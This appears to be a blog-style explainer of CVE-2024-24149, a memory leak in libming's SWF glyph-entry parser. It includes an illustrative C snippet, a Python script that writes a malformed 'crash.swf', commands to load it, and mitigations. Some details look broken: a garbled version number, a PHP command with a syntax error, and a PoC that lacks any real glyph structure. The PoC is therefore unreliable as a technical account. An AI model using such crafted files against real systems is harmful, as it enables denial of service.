A new vulnerability, CVE-2024-24149, was recently discovered in the open-source library libming (version .4.8), which is widely used to handle and process Adobe Flash SWF files. This flaw is tied to a memory leak found deep in the parseSWF_GLYPHENTRY function. When an attacker carefully crafts a malicious SWF file, opening it with libming can exhaust system memory, resulting in a Denial of Service (DoS).

This post will break down what this means, how it works, and how attackers could write a simple proof of concept exploit, all in plain English. We'll also show code snippets and direct you to original sources for more research.

Impact: Denial of Service (DoS)

- Threat: Attacker submits a specially designed SWF that causes your application to run out of memory and crash.

What is libming?

libming is a C library for generating and handling SWF (Shockwave Flash) files. It is used by many projects to add Flash support, especially content conversions and SWF file analysis.

Understanding the Vulnerability

Inside the SWF parsing routine, there's a section called parseSWF_GLYPHENTRY. Its job is to read glyph entries, which describe how text looks inside Flash. If libming fails to handle some of these entries correctly, a portion of memory can be left "hanging" (not freed), especially if data is malformed or very large. An attacker’s SWF can keep triggering this, leaking more memory each time until the program runs out and stops working.

Here’s a simplified version of what happens

SWF_GLYPHENTRY* parseSWF_GLYPHENTRY(SWF_reader* reader) {
    SWF_GLYPHENTRY* entry = (SWF_GLYPHENTRY*)malloc(sizeof(SWF_GLYPHENTRY));
    if (entry == NULL) return NULL;
    // Reads and assigns fields from "reader"
    // but on error, doesn't always free memory!
    if (error_condition) {
        // Missing: free(entry);
        return NULL;
    }
    return entry;
}

If error_condition is triggered, the code just exits, leaving the entry structure allocated in memory. If an SWF file keeps causing errors here, memory usage goes up and up.

Proof of Concept: Exploiting CVE-2024-24149

Let’s write a minimal exploit in Python, which generates an SWF file with malformed glyph entries. Loading it in any libming-based tool (for instance, the supplied swftoc or any custom parser) can deplete system memory if processed multiple times.

> Warning: Do not use this against systems you don't own!

# generate_malicious_swf.py

with open('crash.swf', 'wb') as f:
    # Standard SWF header (uncompressed, minimal)
    f.write(b'FWS')          # File signature
    f.write(b'\x09')         # Version 9
    f.write(b'\x20\x00\x00\x00')  # Length (32 bytes, fake)
    # Fake SWF body with too many glyph entries
    f.write(b'\x30' * 1024 * 1024) # 1 MB of '\x30', bogus data

Load this with

php -r "swfopenfile('crash.swf', );"
# OR
./swftoc crash.swf

Observe as the application's memory goes up and may eventually crash, especially if run in a loop.

- Upgrade or Patch: Monitor the libming GitHub issues and apply any new patches or upgrade to a non-vulnerable version when released.

Input Validation: Do not process untrusted SWF files.

- Resource Constraints: Run SWF parsing in sandboxes or containers with strict memory limits to avoid crashing whole systems.

References

- CVE-2024-24149 NVD Entry
- libming GitHub repository
- Original vulnerability report
- SWF File Format Quick Reference

Final Thoughts

CVE-2024-24149 highlights the ongoing risks of using legacy file formats and libraries that may not get regular security reviews. Even simple coding mistakes, like forgetting to free memory on error, become serious DoS risks in the wild.

If you use libming in any workflows or production settings, audit your dependencies and apply fixes ASAP. Never process SWF from untrusted sources. Memory leaks are among the easiest and most widespread DoS issues—and the easiest to exploit.

Have questions or insights about CVE-2024-24149? Share them below or check out the original references for the latest updates. Stay safe!

Timeline

Published on: 02/29/2024 01:44:11 UTC
Last modified on: 03/12/2024 14:57:32 UTC